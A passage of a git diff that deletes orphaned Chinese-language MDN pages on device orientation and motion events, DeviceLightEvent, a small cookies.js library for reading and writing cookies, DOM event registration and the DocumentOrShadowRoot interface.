style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 342px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 361px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 380px; background: 0px 0px;"> -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 399px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 418px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 437px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 456px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 475px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 494px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 513px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 551px; background: 0px 0px;"></div> -</div> - -<p>输出结果:</p> - -<p>在{{LiveSampleLink("Orientation_example", "这里")}}以新窗口打开此示例;因为有些浏览器中的 {{event("deviceorientation")}} 事件不支持跨域。</p> - -<div>{{EmbedLiveSample('Orientation_example', '230', '260')}}</div> - -<div class="warning" style="font-size: 14px;"> -<p><strong>警告:</strong> Chrome 和 Firefox 处理角度的机制不同,所以某些轴上的方向是相反的。</p> -</div> - -<h2 id="处理移动(motion)事件" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">处理移动(motion)事件</h2> - -<p><span style="line-height: 1.5;">移动事件的处理跟方向事件是一样的,除了他们有自己的事件名:{{ event("devicemotion") }}</span></p> - -<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-js" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;">window<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">addEventListener<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"devicemotion"</span><span class="punctuation token" style="color: #999999;">,</span> handleMotion<span class="punctuation token" style="color: #999999;">,</span> <span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div> - -<p><span style="line-height: 1.5;">真正不同的是做为参数传递给</span><em>HandleMotion函数的</em><span style="line-height: 1.5;">{{ domxref("DeviceMotionEvent") }}对象所包含的信息。</span></p> - -<p>这个对象包含四个属性:</p> - -<ul> - <li>{{ domxref("DeviceMotionEvent.acceleration") }}</li> - <li>{{ domxref("DeviceMotionEvent.accelerationIncludingGravity") }}</li> - <li>{{ domxref("DeviceMotionEvent.rotationRate") }}</li> - <li>{{ domxref("DeviceMotionEvent.interval") }}</li> -</ul> - -<h3 id="相关值解释_2" style="line-height: 24px; font-size: 1.71428571428571rem;">相关值解释</h3> - -<p><span style="line-height: 1.5;">{{ domxref("DeviceMotionEvent") }}对象提供给web开发者设备在位置和方向上的改变速度的相关信息。这些变化信息是通过三个轴来体现的。(</span><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained" style="line-height: 1.5;" title="/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained">Orientation and motion data explained</a><span style="line-height: 1.5;">有更详细的说明。)</span></p> - -<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceMotionEvent.acceleration" title="The acceleration property returns the amount of acceleration recorded by the device, in meters per second squared (m/s2)."><code>acceleration</code></a> 和 <a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceMotionEvent.accelerationIncludingGravity" title="The accelerationIncludingGravity property returns the amount of acceleration recorded by the device, in meters per second squared (m/s2). Unlike DeviceMotionEvent.acceleration which does not compensate for the influence of gravity, its value is the sum of the acceleration of the device as induced by the user and the acceleration caused by gravity."><code>accelerationIncludingGravity</code></a>,都包含下面三个轴:</p> - -<ul> - <li><code>x</code>: 西向东</li> - <li><code>y</code>: 南向北</li> - <li><code>z</code>: 垂直地面</li> -</ul> - -<p>对于 <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceMotionEvent.rotationRate" title="Returns the rate at which the device is rotating around each of its axes in degrees per second.">rotationRate</a></code> ,情况有点不同;三个轴的信息对应着以下三种情况:</p> - -<ul> - <li><code>alpha</code>: 设备沿着垂直于屏幕(对于桌面设备则是垂直于键盘)的轴的旋转速率</li> - <li><code>beta</code>: 设备沿着屏幕(对于桌面设备则是键盘)左至右方向的轴的旋转速率(桌面设备相对于键盘)</li> - <li><code>gamma</code>: 设备沿着屏幕(对于桌面设备则是键盘)下至上方向的轴的旋转速率</li> -</ul> - -<p>最后,<a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceMotionEvent.interval" style="line-height: 1.5;" title="Returns the interval, in milliseconds, at which data is obtained from the underlaying hardware. You can use this to determine the granularity of motion events."><code>interval</code></a><span style="line-height: 1.5;"> 表示的是从设备获取数据的间隔时间,单位是毫秒。</span></p> - -<h2 id="规范" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('Device Orientation')}}</td> - <td>{{Spec2('Device Orientation')}}</td> - <td>Initial specification.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">浏览器兼容性</h2> - -<h3 id="DeviceMotionEvent"><code>DeviceMotionEvent</code></h3> - -<p>{{Compat("api.DeviceMotionEvent")}}</p> - -<h3 id="DeviceOrientationEvent"><code>DeviceOrientationEvent</code></h3> - -<p>{{Compat("api.DeviceOrientationEvent")}}</p> - -<h2 id="参见" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">参见</h2> - -<ul> - <li>{{domxref("DeviceOrientationEvent")}}</li> - <li>{{domxref("DeviceMotionEvent")}}</li> - <li>The legacy <code><a href="https://developer.mozilla.org/en-US/DOM/MozOrientation" title="en-US/DOM/MozOrientation">MozOrientation</a></code> event.</li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained" title="Orientation and motion data explained">Orientation and motion data explained</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/DOM/Events/Using_device_orientation_with_3D_transforms" title="Using Deviceorientation In 3D Transforms">Using deviceorientation in 3D Transforms</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/devicelightevent/index.html b/files/zh-cn/orphaned/web/api/devicelightevent/index.html deleted file mode 100644 index e3e717c514..0000000000 --- a/files/zh-cn/orphaned/web/api/devicelightevent/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: DeviceLightEvent -slug: orphaned/Web/API/DeviceLightEvent -tags: - - API - - Ambient Light Events - - Experimental - - Interface - - NeedsBetterSpecLink - - NeedsMarkupWork - - 事件 -translation_of: Web/API/DeviceLightEvent -original_slug: Web/API/DeviceLightEvent ---- -<div>{{apiref("Ambient Light Events")}}{{SeeCompatTable}}</div> - -<p><code>DeviceLightEvent</code> 为 Web 开发人员提供来自光传感器或类似设备的、关于附近环境光水平的信息。例如,基于当前环境光水平调节屏幕的亮度,以便节省电量或提供更好的阅读性。</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("DeviceLightEvent.value")}}</dt> - <dd>环境光的亮度,单位为 {{interwiki("wikipedia", "lux")}}。</dd> -</dl> - -<h2 id="示例">示例</h2> - -<pre class="brush: js">window.addEventListener('devicelight', function(event) { - console.log(event.value); -});</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}</td> - <td>{{ Spec2('AmbientLight') }}</td> - <td>Initial specification</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.DeviceLightEvent")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{ event("devicelight") }}</li> - <li><a href="/zh-CN/docs/WebAPI/Using_Light_Events">使用环境光事件</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html b/files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html deleted file mode 100644 index 4d9d62b831..0000000000 --- a/files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: 简单的cookie框架 -slug: orphaned/Web/API/Document/cookie/Simple_document.cookie_framework -tags: - - Cookies - - cookie -translation_of: Web/API/Document/cookie/Simple_document.cookie_framework -original_slug: Web/API/Document/cookie/Simple_document.cookie_framework ---- -<h2 id="一个小型框架_一个完整的cookies读写器对Unicode充分支持">一个小型框架: 一个完整的cookies读/写器对Unicode充分支持</h2> - -<p>由于Cookie只是特殊格式的字符串,因此有时很难管理它们。 以下库旨在通过定义一个与一个<a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage#Storage"><code>Storage</code> </a>对象部分一致的对象(<code>docCookies</code>)来抽象对<code>document.cookie</code>的访问。</p> - -<p> 以下代码也<a href="https://github.com/madmurphy/cookies.js">在GitHub上获取</a>。它是基于GNU General Public License v3.0 许可 (<a href="https://github.com/madmurphy/cookies.js/blob/master/LICENSE">许可链接</a>)</p> - -<h5 id="库">库</h5> - -<pre class="brush: js">/*\ -|*| -|*| :: cookies.js :: -|*| -|*| A complete cookies reader/writer framework with full unicode support. -|*| -|*| Revision #1 - September 4, 2014 -|*| -|*| https://developer.mozilla.org/en-US/docs/Web/API/document.cookie -|*| https://developer.mozilla.org/User:fusionchess -|*| https://github.com/madmurphy/cookies.js -|*| -|*| This framework is released under the GNU Public License, version 3 or later. -|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html -|*| -|*| Syntaxes: -|*| -|*| * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]]) -|*| * docCookies.getItem(name) -|*| * docCookies.removeItem(name[, path[, domain]]) -|*| * docCookies.hasItem(name) -|*| * docCookies.keys() -|*| -\*/ - -var docCookies = { - getItem: function (sKey) { - if (!sKey) { return null; } - return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null; - }, - setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) { - if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; } - var sExpires = ""; - if (vEnd) { - switch (vEnd.constructor) { - case Number: - sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd; - break; - case String: - sExpires = "; expires=" + vEnd; - break; - case Date: - sExpires = "; expires=" + vEnd.toUTCString(); - break; - } - } - document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : ""); - return true; - }, - removeItem: function (sKey, sPath, sDomain) { - if (!this.hasItem(sKey)) { return false; } - document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : ""); - return true; - }, - hasItem: function (sKey) { - if (!sKey) { return false; } - return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie); - }, - keys: function () { - var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/); - for (var nLen = aKeys.length, nIdx = 0; nIdx < nLen; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); } - return aKeys; - } -};</pre> - -<div class="note"><strong>Note:</strong> 对于<em>never-expire-cookies 我们使用一个随意的遥远日期</em><code>Fri, 31 Dec 9999 23:59:59 GMT</code>. 处于任何原因,你担心这样一个日期,使用 <em><a href="http://en.wikipedia.org/wiki/Year_2038_problem">惯例世界末日</a></em>Tue, 19 Jan 2038 03:14:07 GMT - 这是自1970年1月1日00:00:00 UTC以来使用 <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators#Signed_32-bit_integers">有符号的32位二进制整数</a>表示的最大秒数。(i.e., <code>01111111111111111111111111111111</code> which is <code>new Date(0x7fffffff * 1e3)</code>).</div> - -<h3 id="cookie的写入">cookie的写入</h3> - -<h5 id="语法">语法</h5> - -<pre class="syntaxbox"><code>docCookies.setItem(<em>name</em>, <em>value</em>[, <em>end</em>[, <em>path</em>[, <em>domain</em>[, <em>secure</em>]]]])</code></pre> - -<h5 id="Description">Description</h5> - -<p>新增/重写一个 cookie.</p> - -<h5 id="参数">参数</h5> - -<dl> - <dt><code>name</code></dt> - <dd>新增/重写一个 cookie的 <a href="#new-cookie_syntax">名字</a> (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>字符传</code></a>).</dd> - <dt><code>value</code></dt> - <dd>cookie的<a href="#new-cookie_syntax">值</a> (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>字符串</code></a>).</dd> - <dt><code>end</code> <font face="Helvetica, arial, sans-serif"><span style="background-color: #eeeeee; font-size: 14px; font-weight: 400;">可选</span></font></dt> - <dd><code><a href="#new-cookie_max-age">max-age</a>(最大有效时间)单位秒</code> (e.g. <code>31536e3</code> 表示一年, <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code> </a> 表示永不过期的cookie), 或者以<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/toGMTString">GMTString</a></code> 格式或者<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date"><code>Date</code> object</a> 的<a href="#new-cookie_expires"><code>expires</code></a> date(过期时间); 如果没有,指定的cookie将在会话结束时到期 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number"><code>number</code></a> – finite or <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a> – <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a>, <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date"><code>Date</code> object</a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>). - <div class="note" id="max-age_note" style="margin-top: 1em;"> - <p><strong>Note:</strong> 尽管 <a href="https://tools.ietf.org/html/rfc6265#section-5.2.2">officially defined in rfc6265</a>, <code>max-age</code> 在 Internet Explorer, Edg和一些移动端浏览器上不兼容. 因此,将数字传递给<code>end</code>参数可能无法按预期工作. 可能的解决方案可能是将相对时间转换为绝对时间。例如,以下代码:</p> - - <pre class="brush: js">docCookies.setItem("mycookie", "Hello world!", 150);</pre> - - <p>可以使用绝对日期重写,如下例所示:</p> - - <pre class="brush: js"> maxAgeToGMT (nMaxAge) { - return nMaxAge === Infinity ? "Fri, 31 Dec 9999 23:59:59 GMT" : (new Date(nMaxAge * 1e3 + Date.now())).toUTCString(); -} - -docCookies.setItem("mycookie", "Hello world!", maxAgeToGMT(150));</pre> - - <p>在上面的代码中,函数<code> maxAgeToGMT() </code>用于从相对时间(即,从“age”)创建<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/toGMTString">GMTString</a>.</code></p> - </div> - </dd> - <dt><code>path</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> - <dd>可访问此cookie的路径. 例如,“/”,“/ mydir”;如果未指定,则默认为当前文档位置的当前路径(<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>). The path must be <em>absolute</em> (see <a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a>). For more information on how to use relative paths in this argument, see <a href="#Using_relative_URLs_in_the_path_parameter">this paragraph</a>.</dd> - <dt><code>domain</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> - <dd>可访问此cookie的域名. 例如,<code>“example.com”</code>,<code>“.example.com”</code>(包括所有子域)或<code>“subdomain.example.com”</code>; 如果未指定,则默认为当前文档位置的主机端口(<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>).</dd> - <dt><code>secure</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> - <dd>cookie将仅通过https安全协议传输 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean"><code>boolean</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>).</dd> -</dl> - -<h3 id="获取一个cookie">获取一个cookie</h3> - -<h5 id="语法_2">语法</h5> - -<pre class="syntaxbox"><code>docCookies.getItem(<em>name</em>)</code></pre> - -<h5 id="描述">描述</h5> - -<p>读一个cookie。如果cookie不存在,则返回null值。Parameters</p> - -<h5 id="参数_2">参数</h5> - -<dl> - <dt><code>name</code></dt> - <dd>读取cookie的名字 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd> -</dl> - -<h3 id="移除一个cookie">移除一个cookie</h3> - -<h5 id="语法_3">语法</h5> - -<pre class="syntaxbox"><code>docCookies.removeItem(<em>name</em>[, <em>path</em>[, <em>domain</em>]])</code></pre> - -<h5 id="描述_2">描述</h5> - -<p>删除一个cookie.</p> - -<h5 id="参数_3">参数</h5> - -<dl> - <dt><code>name</code></dt> - <dd>待移除cookie的名字 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd> - <dt><code>path</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> - <dd>例如,"<code>/"</code>,"<code>/ </code><code>mydir"</code>;如果未指定,则默认为当前文档位置的当前路径 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>). The path must be <em>absolute</em> (see <a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a>). For more information on how to use relative paths in this argument, see <a href="#Using_relative_URLs_in_the_path_parameter">this paragraph</a>.</dd> - <dt><code>domain</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> - <dd>例如, <code>"example.com"</code>, 或者 <code>"subdomain.example.com"</code>; 如果未指定,则默认为当前文档位置的主机端口(字符串或null),但不包括子域。 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>), 但不包括子域名。与早期的规范相反,域名中的前置的点被忽略。如果指定了域,则始终包含子域。 - <div class="note"><strong>Note:</strong> 要删除跨子域的cookie,您需要想<code>setItem()样</code>在<code>removeItem()</code>中指定domain属性。</div> - </dd> -</dl> - -<h3 id="检查一个cookie(是否存在)">检查一个cookie(是否存在)</h3> - -<h5 id="语法_4">语法</h5> - -<pre class="syntaxbox"><code>docCookies.hasItem(<em>name</em>)</code></pre> - -<h5 id="描述_3">描述</h5> - -<p>检查当前位置是否存在cookie。</p> - -<h5 id="参数_4">参数</h5> - -<dl> - <dt><code>name</code></dt> - <dd>待检查cookie的名字 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd> -</dl> - -<h3 id="获取所有cookie列表">获取所有cookie列表</h3> - -<h5 id="Syntax">Syntax</h5> - -<pre class="syntaxbox"><code>docCookies.keys()</code></pre> - -<h5 id="Description_2">Description</h5> - -<p>返回此位置的所有可读cookie的数组。</p> - -<h3 id="Example_usage">Example usage:</h3> - -<pre class="brush: js">docCookies.setItem("test0", "Hello world!"); -docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity); -docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12)); -docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog"); -docCookies.setItem("test4", "Hello world!", "Wed, 19 Feb 2127 01:04:55 GMT"); -docCookies.setItem("test5", "Hello world!", "Fri, 20 Aug 88354 14:07:15 GMT", "/home"); -docCookies.setItem("test6", "Hello world!", 150); -docCookies.setItem("test7", "Hello world!", 245, "/content"); -docCookies.setItem("test8", "Hello world!", null, null, "example.com"); -docCookies.setItem("test9", "Hello world!", null, null, null, true); -docCookies.setItem("test1;=", "Safe character test;=", Infinity); - -alert(docCookies.keys().join("\n")); -alert(docCookies.getItem("test1")); -alert(docCookies.getItem("test5")); -docCookies.removeItem("test1"); -docCookies.removeItem("test5", "/home"); -alert(docCookies.getItem("test1")); -alert(docCookies.getItem("test5")); -alert(docCookies.getItem("unexistingCookie")); -alert(docCookies.getItem()); -alert(docCookies.getItem("test1;=")); -</pre> diff --git a/files/zh-cn/orphaned/web/api/document_object_model/events/index.html b/files/zh-cn/orphaned/web/api/document_object_model/events/index.html deleted file mode 100644 index 60ab48c450..0000000000 --- a/files/zh-cn/orphaned/web/api/document_object_model/events/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 事件及DOM -slug: orphaned/Web/API/Document_Object_Model/Events -tags: - - DOM - - events -translation_of: Web/API/Document_Object_Model/Events -original_slug: Web/API/Document_Object_Model/Events ---- -<p>{{DefaultAPISidebar("DOM")}}</p> - -<h2 id="Introduction" name="Introduction">简介</h2> - -<p>这一章节介绍了DOM事件模型(DOM Event Model)。主要描述了<a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event">事件(Event)</a>接口本身以及DOM节点中的事件注册接口、<a href="/en-US/docs/Web/API/EventTarget.addEventListener">事件监听接口</a>,以及几个展示了多种事件接口之间相互关联的较长示例。</p> - -<p>这里有一张非常不错的图表清晰地解释了在<a href="http://www.w3.org/TR/DOM-Level-3-Events/#dom-event-architecture">DOM3级事件草案(DOM Level 3 Events draft)</a>中通过DOM处理事件流的三个阶段。</p> - -<p>也可以通过示例章节的 <a href="/en-US/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation">示例5:事件传递</a> 获取更多事件如何在DOM中流转的相关细节。</p> - -<h2 id="DOM_event_handler_List" name="DOM_event_handler_List">注册事件监听器</h2> - -<p>这里有3种方法来为一个DOM元素注册事件回调。</p> - -<h3 id="EventTarget.addEventListener" name="EventTarget.addEventListener">{{domxref("EventTarget.addEventListener")}}</h3> - -<pre class="brush: js">// 假设 myButton 是一个按钮 -myButton.addEventListener('click', greet, false); -function greet(event) { - // 打印并查看event对象 - // 打印arguments,以防忽略了其他参数 - console.log('greet: ' + arguments); - alert('Hello world'); -} -</pre> - -<p>你应该在现代Web技术的页面中使用这个方法。</p> - -<p>备注:IE 6-8 不支持这一方法,但提供了类似的API即 {{domxref("EventTarget.attachEvent")}} 用以替代。考虑到跨浏览器兼容性问题请使用有效的JS代码库。</p> - -<p>更多细节可在 {{domxref("EventTarget.addEventListener")}} 参考页面中找到.</p> - -<h3 id="HTML_attribute" name="HTML_attribute"><a href="/zh-CN/docs/Web/Guide/HTML/Event_attributes">HTML 属性</a></h3> - -<pre class="brush: html"><button onclick="alert('Hello world!')"> -</pre> - -<p>属性中的JS代码触发时通过event参数将Event类型对象传递过去的。<a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">其返回值以特殊的方式来处理,已经在HTML规范中被描述</a>。</p> - -<p>应该尽量避免这种书写方式,这将使HTML变大并减少可读性。考虑到内容/结构及行为不能很好的分开,这将造成bug很难被找到。</p> - -<h3 id="DOM_element_properties" name="DOM_element_properties">DOM 元素属性</h3> - -<pre class="brush: js">// 假设 myButton 是一个按钮 -myButton.onclick = function(event){alert('Hello world');}; -</pre> - -<p>带有event参数的函数可以这样被定义。<a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">其返回值以特殊的方式来处理,已经在HTML规范中被描述。</a></p> - -<p>这种方式的问题是每个事件及每个元素只能被设置一个回调。</p> - -<h2 id="访问事件接口">访问事件接口</h2> - -<p>事件回调可以被绑定到包括DOM元素、文档、{{domxref("window")}} 等多种对象上。当一个事件被触发时,一个event对象将被创建并顺序的传递给事件监听者们。</p> - -<p> {{domxref("Event")}} 接口可以在回调函数内被访问到,通过被传递进来做为第一个参数的事件对象。以下这个简单例子展示了如何将事件对象传递给事件回调函数,同时可以在这个函数中使用。</p> - -<pre class="brush: js">function foo(evt) { - // evt参数自动分配事件对象 - alert(evt); -} -table_el.onclick = foo; -</pre> - -<h2 id="下级页面导航">下级页面导航</h2> - -<ul> - <li><a href="/zh-CN/docs/Web/API/Document_Object_Model">DOM相关参考</a></li> - <li><a href="/zh-CN/docs/Web/API/Document_Object_Model/Introduction">DOM介绍</a></li> - <li><a href="/zh-CN/docs/Web/API/Document_Object_Model/Events">事件及DOM</a></li> - <li><a href="/zh-CN/docs/Web/API/Document_Object_Model/Examples">样例</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/documentorshadowroot/index.html b/files/zh-cn/orphaned/web/api/documentorshadowroot/index.html deleted file mode 100644 index cc18771f80..0000000000 --- a/files/zh-cn/orphaned/web/api/documentorshadowroot/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: DocumentOrShadowRoot -slug: orphaned/Web/API/DocumentOrShadowRoot -tags: - - API - - DocumentOrShadowRoot - - Interface - - NeedsTranslation - - Reference - - TopicStub - - shadow dom -translation_of: Web/API/DocumentOrShadowRoot -original_slug: Web/API/DocumentOrShadowRoot ---- -<div>{{APIRef("Web Components")}}</div> - -<p><span class="seoSummary"><a href="/zh-CN/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM API</a> 的 <strong><code>DocumentOrShadowRoot</code></strong> 接口提供了 documents 与 shadow roots 之间共享的 API。The following features are included in both {{DOMxRef("Document")}} and {{DOMxRef("ShadowRoot")}}.</span></p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{DOMxRef("DocumentOrShadowRoot.activeElement")}}{{ReadOnlyInline}}</dt> - <dd>Returns the {{DOMxRef('Element')}} within the shadow tree that has focus.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}{{ReadOnlyInline}}</dt> - <dd>Returns the {{DOMxRef('Element')}} that's currently in full screen mode for this document.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.pointerLockElement")}} {{Experimental_Inline}}{{ReadOnlyInline}}</dt> - <dd>Returns the element set as the target for mouse events while the pointer is locked. It returns <code>null</code> if lock is pending, the pointer is unlocked, or if the target is in another document.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}{{ReadOnlyInline}}</dt> - <dd>Returns a {{DOMxRef('StyleSheetList')}} of {{DOMxRef('CSSStyleSheet')}} objects for stylesheets explicitly linked into, or embedded in a document.</dd> -</dl> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{DOMxRef("DocumentOrShadowRoot.caretPositionFromPoint()")}}</dt> - <dd>Returns a {{DOMxRef('CaretPosition')}} object containing the DOM node containing the caret, and caret's character offset within that node.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}</dt> - <dd>Returns the topmost element at the specified coordinates.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.elementsFromPoint()")}}</dt> - <dd>Returns an array of all elements at the specified coordinates.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.getSelection()")}}</dt> - <dd>Returns a {{DOMxRef('Selection')}} object representing the range of text selected by the user, or the current position of the caret.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.nodeFromPoint()")}} {{non-standard_inline}}</dt> - <dd>Returns the topmost node at the specified coordinates.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.nodesFromPoint()")}} {{non-standard_inline}}</dt> - <dd>Returns an array of all nodes at the specified coordinates.</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}</td> - <td>{{Spec2('Shadow DOM')}}</td> - <td>Implementation in Shadow DOM.</td> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG','#mixin-documentorshadowroot','DocumentOrShadowRoot')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.DocumentOrShadowRoot")}}</p> - -<p>[1] This interface's features are still implemented on the {{DOMxRef("Document")}} object.</p> diff --git 